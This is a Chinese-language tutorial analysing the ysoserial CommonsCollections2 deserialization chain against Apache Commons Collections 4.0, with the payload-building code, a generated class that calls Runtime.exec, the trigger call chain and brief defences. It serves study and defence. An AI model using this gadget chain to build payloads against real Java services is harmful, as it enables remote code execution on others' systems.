java反序列化学习-ysoserial-CommonsCollections2
字数 1461 2025-08-10 20:35:54
Java反序列化漏洞分析:CommonsCollections2利用链详解
一、漏洞概述
CommonsCollections2是ysoserial工具中针对Apache Commons Collections 4.0版本的一个反序列化利用链。它利用了PriorityQueue、TransformingComparator和InvokerTransformer的组合,通过精心构造的序列化数据,在反序列化过程中实现远程代码执行(RCE)。
二、依赖环境
@Dependencies({ "org.apache.commons:commons-collections4:4.0" })
三、核心利用链分析
1. 整体流程
- 创建恶意TemplatesImpl对象
- 构造InvokerTransformer实例
- 创建PriorityQueue并使用TransformingComparator作为比较器
- 通过反射修改关键字段
- 序列化PriorityQueue对象
- 反序列化时触发RCE
2. 关键代码分析
2.1 getObject方法
public Queue<Object> getObject(final String command) throws Exception {
// 1. 创建包含恶意代码的TemplatesImpl对象
final Object templates = Gadgets.createTemplatesImpl(command);
// 2. 创建InvokerTransformer实例,初始设置为调用toString方法
final InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]);
// 3. 创建PriorityQueue并使用TransformingComparator作为比较器
final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, new TransformingComparator(transformer));
// 4. 添加两个元素触发比较器初始化
queue.add(1);
queue.add(1);
// 5. 通过反射将InvokerTransformer的方法名改为"newTransformer"
Reflections.setFieldValue(transformer, "iMethodName", "newTransformer");
// 6. 获取队列内部数组并替换第一个元素为恶意TemplatesImpl对象
final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue");
queueArray[0] = templates;
queueArray[1] = 1;
return queue;
}
2.2 createTemplatesImpl方法分析
Gadgets.createTemplatesImpl()方法负责创建包含恶意代码的TemplatesImpl对象:
public static <T> T createTemplatesImpl(final String command, Class<T> tplClass,
Class<?> abstTranslet, Class<?> transFactory) throws Exception {
// 创建TemplatesImpl实例
final T templates = tplClass.newInstance();
// 使用Javassist创建类池
ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(new ClassClassPath(StubTransletPayload.class));
pool.insertClassPath(new ClassClassPath(abstTranslet));
// 获取StubTransletPayload类
final CtClass clazz = pool.get(StubTransletPayload.class.getName());
// 构造恶意代码字符串
String cmd = "java.lang.Runtime.getRuntime().exec(\"" + command.replace("\"", "\\\"") + "\");";
// 在类初始化器中插入恶意代码
clazz.makeClassInitializer().insertAfter(cmd);
// 设置类名和父类
clazz.setName("ysoserial.Pwner" + System.nanoTime());
CtClass superC = pool.get(abstTranslet.getName());
clazz.setSuperclass(superC);
// 生成字节码
final byte[] classBytes = clazz.toBytecode();
// 设置TemplatesImpl的关键字段
Reflections.setFieldValue(templates, "_bytecodes", new byte[][] {classBytes});
Reflections.setFieldValue(templates, "_name", "Pwnr");
Reflections.setFieldValue(templates, "_tfactory", transFactory.newInstance());
return templates;
}
生成的恶意类示例:
package ysoserial;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.io.Serializable;
public class Pwner262950924766100 extends AbstractTranslet implements Serializable {
private static final long serialVersionUID = -5971610431559700674L;
public Pwner262950924766100() {}
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {}
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {}
static {
Object var1 = null;
Runtime.getRuntime().exec("calc");
}
}
四、反序列化触发过程
1. 反序列化调用链
PriorityQueue.readObject()- 反序列化入口PriorityQueue.heapify()PriorityQueue.siftDown()PriorityQueue.siftDownUsingComparator()TransformingComparator.compare()InvokerTransformer.transform()TemplatesImpl.newTransformer()TemplatesImpl.getTransletInstance()TemplatesImpl.defineTransletClasses()- 恶意类静态代码块执行
2. 关键步骤详解
2.1 PriorityQueue.readObject()
private void readObject(java.io.ObjectInputStream s)
throws java.io.IOException, ClassNotFoundException {
// 读取默认字段
s.defaultReadObject();
// 读取数组长度并分配队列数组
s.readInt();
// 重建堆结构
heapify();
}
2.2 heapify() -> siftDown() -> siftDownUsingComparator()
最终调用比较器的compare方法:
private void siftDownUsingComparator(int k, E x) {
// 使用比较器比较元素
if (comparator.compare(x, (E) c) > 0) {
// ...
}
}
2.3 TransformingComparator.compare()
public int compare(I obj1, I obj2) {
// 使用transformer转换后比较
O value1 = this.transformer.transform(obj1);
O value2 = this.transformer.transform(obj2);
return this.decorated.compare(value1, value2);
}
2.4 InvokerTransformer.transform()
public O transform(Object input) {
if (input == null) {
return null;
}
try {
// 通过反射调用指定方法
Class<?> cls = input.getClass();
Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
return (O) method.invoke(input, this.iArgs);
} catch (Exception ex) {
// ...
}
}
2.5 TemplatesImpl.newTransformer()
public synchronized Transformer newTransformer() throws TransformerConfigurationException {
TransformerImpl transformer;
transformer = new TransformerImpl(getTransletInstance(), _outputProperties, _indentNumber, _tfactory);
// ...
return transformer;
}
2.6 getTransletInstance() -> defineTransletClasses()
最终加载并实例化恶意类,触发静态代码块中的恶意代码执行。
五、防御措施
- 升级Apache Commons Collections到最新安全版本
- 使用Java反序列化过滤器(ObjectInputFilter)
- 避免反序列化不可信数据
- 使用白名单机制限制可反序列化的类
六、总结
CommonsCollections2利用链通过以下关键点实现RCE:
- 使用Javassist动态生成包含恶意代码的类
- 通过TemplatesImpl加载并执行恶意字节码
- 利用PriorityQueue在反序列化时自动排序的特性触发比较器
- 通过TransformingComparator和InvokerTransformer的链式调用最终执行newTransformer方法
- 整个过程完全依赖Java反序列化机制,无需任何额外交互